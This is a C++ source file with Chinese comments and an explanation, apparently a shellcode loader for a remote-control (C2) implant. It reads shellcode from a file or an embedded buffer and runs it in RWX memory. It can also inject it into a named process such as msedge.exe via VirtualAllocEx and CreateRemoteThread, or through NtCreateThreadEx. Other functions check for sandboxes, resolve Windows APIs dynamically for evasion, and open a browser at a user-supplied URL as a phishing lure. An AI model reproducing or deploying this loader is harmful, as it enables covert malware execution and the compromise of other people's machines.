#include "myFunch.h"
#include "SandBox.h"
//上线
//字符转宽字符
//加载shellcode
wchar_t* AtoW(char** a) {
setlocale(LC_ALL, "");
// 原始的char*字符串
char* char_str = *a;
// 确定所需的wchar_t缓冲区的大小
size_t wchar_size = mbstowcs(NULL, char_str, 0) + 1;
if (wchar_size == (size_t)-1) {
perror("mbstowcs");
return 0;
}
// 分配wchar_t缓冲区
wchar_t* wchar_str = (wchar_t*)malloc(wchar_size * sizeof(wchar_t));
if (wchar_str == NULL) {
perror("malloc");
return 0;
}
// 执行转换
mbstowcs(wchar_str, char_str, wchar_size);
return wchar_str;
}
//读取shellcode
// 从文件中读取数据并返回
char* ReadFile(SIZE_T* length, char* file) {
char* filename = file; // 将输入的文件名存储在变量filename中
ifstream infile; // 创建一个输入文件流对象
infile.open(filename, ios::out | ios::binary); // 以二进制只写模式打开文件
// 获取文件大小
infile.seekg(0, infile.end); // 将文件指针移动到文件末尾
*length = infile.tellg(); // 获取文件指针当前位置,即文件大小
infile.seekg(0, infile.beg); // 将文件指针移动回文件开头
// 分配内存以存储文件数据
char* data = new char[*length]; // 使用文件大小分配内存
// 如果文件成功打开,则读取文件内容
if (infile.is_open()) {
cout << "reading from the file" << endl; // 输出提示信息
infile.read(data, *length); // 读取文件内容到data中
}
return data; // 返回读取的文件数据
}
//注入进程
void Inject(char* argv[]) {
SIZE_T length = 0;
char* data;
data = ReadFile(&length, argv[2]);
/*LPVOID mem = VirtualAlloc(NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
RtlMoveMemory(mem, data, length);
EnumChildWindows(NULL, (WNDENUMPROC)mem, NULL);*/
HANDLE snapshot_handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); //快照(留像)
if (snapshot_handle != INVALID_HANDLE_VALUE) {
// 枚举进程
PROCESSENTRY32 process_entry;
process_entry.dwSize = sizeof(PROCESSENTRY32);
if (Process32First(snapshot_handle, &process_entry)) {
do {
// 将进程名转换为宽字符串
std::wstring extFileName(process_entry.szExeFile);
wchar_t* exename = AtoW(&argv[3]);
// 如果进程名包含 "msedge.exe" 则进行以下操作 std::string::npos == 当初遍历的进程名
if (extFileName.find(exename) != std::string::npos) {
// 打开进程
fn_OpenProcess myOpenProcess = (fn_OpenProcess)GetProcAddress(LoadLibraryA("kernel32.dll"), "OpenProcess");
HANDLE process_handle = myOpenProcess(PROCESS_ALL_ACCESS, FALSE, process_entry.th32ProcessID);
if (process_handle != NULL) {
// 在远程进程中分配内存
fn_VirtualAllocEx myVirtualAllocEx = (fn_VirtualAllocEx)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAllocEx");
LPVOID remote_buffer = myVirtualAllocEx(process_handle, NULL, length, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remote_buffer != NULL) {
SIZE_T bytes_written;
// 将 code 写入远程进程内存
if (WriteProcessMemory(process_handle, remote_buffer, data, length, &bytes_written)) {
std::cout << "Remote buffer address: " << remote_buffer << std::endl;
// 在远程进程中创建线程执行 code
HANDLE remote_thread = CreateRemoteThread(process_handle, NULL, 0, (LPTHREAD_START_ROUTINE)remote_buffer, NULL, 0, NULL);
if (remote_thread != NULL) {
// 等待线程结束
WaitForSingleObject(remote_thread, INFINITE);
CloseHandle(remote_thread);
}
}
// 关闭远程内存句柄
CloseHandle(remote_buffer);
}
// 关闭进程句柄
CloseHandle(process_handle);
}
}
} while (Process32Next(snapshot_handle, &process_entry)); // 继续枚举下一个进程
}
// 关闭进程快照句柄
CloseHandle(snapshot_handle);
}
}
//正常上线
// 正常上线函数
VOID Normal(char* argv[]) {
SIZE_T length = 0; // 用于存储文件大小
char* data = NULL; // 存储从文件中读取的数据
// 从文件中读取数据
data = ReadFile(&length, argv[2]);
// 获取VirtualAlloc、CreateThread和WaitForSingleObject函数的地址
fn_VirtualAlloc myVirtualAlloc = (fn_VirtualAlloc)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
fn_CreateThread myCreateThread = (fn_CreateThread)GetProcAddress(LoadLibraryA("kernel32.dll"), "CreateThread");
fn_WaitForSingleObject myWaitForSingleObject = (fn_WaitForSingleObject)GetProcAddress(LoadLibraryA("kernel32.dll"), "WaitForSingleObject");
// 在远程进程中分配内存
LPVOID shell_addr = myVirtualAlloc(NULL, length, 0x00001000, 0x40);
// 将数据复制到分配的内存中
memcpy(shell_addr, data, length);
// 创建远程线程执行代码
HANDLE HThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)shell_addr, 0, 0, 0);
// 等待线程结束
myWaitForSingleObject(HThread, -1);
}
//直接到缓存区
// 直接到缓存区函数
void Direct() {
size_t length; // 用于存储数据长度
unsigned char* data = assemble_data(&length); // 调用assemble_data函数获取数据并存储在data中
// 获取VirtualAlloc、CreateThread和WaitForSingleObject函数的地址
fn_VirtualAlloc myVirtualAlloc = (fn_VirtualAlloc)GetProcAddress(LoadLibraryA("kernel32.dll"), "VirtualAlloc");
fn_CreateThread myCreateThread = (fn_CreateThread)GetProcAddress(LoadLibraryA("kernel32.dll"), "CreateThread");
fn_WaitForSingleObject myWaitForSingleObject = (fn_WaitForSingleObject)GetProcAddress(LoadLibraryA("kernel32.dll"), "WaitForSingleObject");
// 在当前进程中分配内存
LPVOID shell_addr = myVirtualAlloc(NULL, length, 0x00001000, 0x40);
// 将数据复制到分配的内存中
memcpy(shell_addr, data, length);
// 创建线程执行代码
HANDLE HThread = myCreateThread(0, 0, (LPTHREAD_START_ROUTINE)shell_addr, 0, 0, 0);
// 等待线程结束
myWaitForSingleObject(HThread, -1);
}
//检查沙箱特征(沙箱与正常主机不同的地方)
//cpu核心数(少),没有外连接的设备,时间流速
void CheckSandBox() {
Check_MulDiv_1();
Check_MulDiv_2();
}
//NT函数调用
//Hook(钩子)对系统的函数进行更改
//
// NT函数调用函数
void NtCall(char* argv[]) {
SIZE_T length = 0; // 用于存储文件大小
char* data = NULL; // 存储从文件中读取的数据
// 从文件中读取数据
data = ReadFile(&length, argv[2]);
// 获取NtAllocateVirtualMemory和NtCreateThreadEx函数的地址
fn_NtAllocateVirtualMemory myNtAllocateVirtualMemory = (fn_NtAllocateVirtualMemory)GetProcAddress(LoadLibraryA("nt.dll"), "NtAllocateVirtualMemory");
fn_NtCreateThreadEx myNtCreateThreadEx = (fn_NtCreateThreadEx)GetProcAddress(LoadLibraryA("nt.dll"), "NtCreateThreadEx");
HANDLE hRemoteThread = NULL; // 远程线程句柄
HANDLE process = GetCurrentProcess(); // 获取当前进程句柄
LPVOID shell_addr = NULL; // 用于存储分配的内存地址
// 在当前进程中分配内存
myNtAllocateVirtualMemory(GetCurrentProcess(), &shell_addr, 0, (PULONG)&length, 0x00001000, 0x40);
// 将数据复制到分配的内存中
memcpy(shell_addr, data, length);
// 创建远程线程执行代码
myNtCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, process, (LPTHREAD_START_ROUTINE)shell_addr, 0, 0, 0, 0, 0, 0);
// 等待远程线程结束
WaitForSingleObject(hRemoteThread, -1);
}
//
// 打开浏览器并访问指定网址的函数
void Fish(char web[]) {
char command[512] = "\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\""; // 设置浏览器路径
strcat(command, web); // 将网址添加到命令中
// 初始化进程信息结构体和启动信息结构体
STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si)); // 清空si结构体
si.cb = sizeof(si); // 设置si结构体的大小
ZeroMemory(&pi, sizeof(pi)); // 清空pi结构体
// 创建新进程打开浏览器并访问指定网址
if (!CreateProcessA("C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", // 浏览器程序路径
command, // 带有网址的命令
0, // 进程安全属性
0, // 线程安全属性
FALSE, // 是否继承句柄
0, // 创建标志
NULL, // 环境变量
NULL, // 工作目录
&si, // 启动信息结构体
&pi)) // 进程信息结构体
{
// 如果创建进程失败,调用Direct()函数
Direct();
}
}
// 远控的上线程序会变成你的注入目标程序
// User,管理员,System
// 主函数
// 主函数
int main(int argc, char* argv[]) {
// 如果没有输入参数,则直接调用Direct()函数
if (argc == 1) {
Direct();
}
// 如果有输入参数
if (argc > 1) {
// 如果第一个参数是"-i",则根据第二个和第三个参数执行注入功能
if (strcmp(argv[1], "-i") == 0) {
if (argc == 4) {
printf("Injecting!!!\n");
Inject(argv);
}
else {
printf("注入方式:-i 路径 进程名\n");
}
}
// 如果第一个参数是"-d",则执行正常启动功能
if (strcmp(argv[1], "-d") == 0) {
Normal(argv);
}
// 如果第一个参数是"-h",显示帮助信息
if (strcmp(argv[1], "-h") == 0) {
printf("-i Inject\n-h help\n-d normal\n-s CheckSandBox\n");
}
// 如果第一个参数是"-s",执行检查沙箱特征功能
if (strcmp(argv[1], "-s") == 0) {
CheckSandBox();
}
// 如果第一个参数是"-n",根据第二个参数执行NT函数调用功能
if (strcmp(argv[1], "-n") == 0) {
if (argc != 3) {
printf("需要shellcode路径\n");
}
else {
NtCall(argv);
}
}
// 如果第一个参数是"-g",提示用户输入网址并调用Fish函数
if (strcmp(argv[1], "-g") == 0) {
char web[50]; // 用于存储网址
printf("输入网址\n");
scanf("%s", &web);
Fish(web);
}
}
return 0; // 程序正常结束
}
/*1. int main(int argc, char* argv[]) :主函数,程序的入口点。
2. if (argc == 1) :如果用户没有输入任何参数,则调用 Direct() 函数。
3. if (argc > 1) :如果用户输入了参数,则根据第一个参数的值执行相应的功能。
4. if (strcmp(argv[1], "-i") == 0) :如果第一个参数是"-i",则根据第二个和第三个参数执行注入功能。
5. if (strcmp(argv[1], "-d") == 0) :如果第一个参数是"-d",则执行正常启动功能。
6. if (strcmp(argv[1], "-h") == 0) :如果第一个参数是"-h",则显示帮助信息。
7. if (strcmp(argv[1], "-s") == 0) :如果第一个参数是"-s",则执行检查沙箱特征功能。
8. if (strcmp(argv[1], "-n") == 0) :如果第一个参数是"-n",则根据第二个参数执行NT函数调用功能。
9. if (strcmp(argv[1], "-g") == 0) :如果第一个参数是"-g",则要求用户输入网址并调用 Fish() 函数。
10. return 0 :程序正常结束。*/
以上代码是一个远控程序的主要部分,主要功能包括文件操作、进程注入、远程线程创建、沙箱特征检测、NT函数调用和打开浏览器访问网址等。下面是对代码的原理与作用的解释:
1. AtoW
函数:将 char*
类型的字符串转换为 wchar_t*
类型的宽字符字符串。
2. ReadFile
函数:从文件中读取数据并返回读取的数据内容。
3. Inject
函数:实现进程注入的功能,通过获取进程句柄、在远程进程中分配内存、写入数据、创建远程线程执行代码来实现注入。
4. Normal
函数:实现正常上线的功能,从文件中读取数据后,在当前进程中分配内存、复制数据、创建线程执行代码并等待线程结束。
5. Direct
函数:实现直接到缓存区的功能,通过调用 assemble_data
函数获取数据,分配内存、复制数据、创建线程执行代码并等待线程结束。
6. CheckSandBox
函数:检查沙箱特征,包括CPU核心数、外部设备连接情况、时间流速等。
7. NtCall
函数:实现NT函数调用的功能,从文件中读取数据后,在当前进程中分配内存、复制数据,使用NT函数 NtAllocateVirtualMemory
和 NtCreateThreadEx
创建远程线程执行代码并等待线程结束。
8. Fish
函数:打开浏览器并访问指定网址的功能,通过创建新进程打开浏览器并访问指定网址。 9. main
函数:根据命令行参数执行相应的功能,包括注入进程、正常启动、显示帮助信息、检查沙箱特征、NT函数调用和打开浏览器访问网址等功能。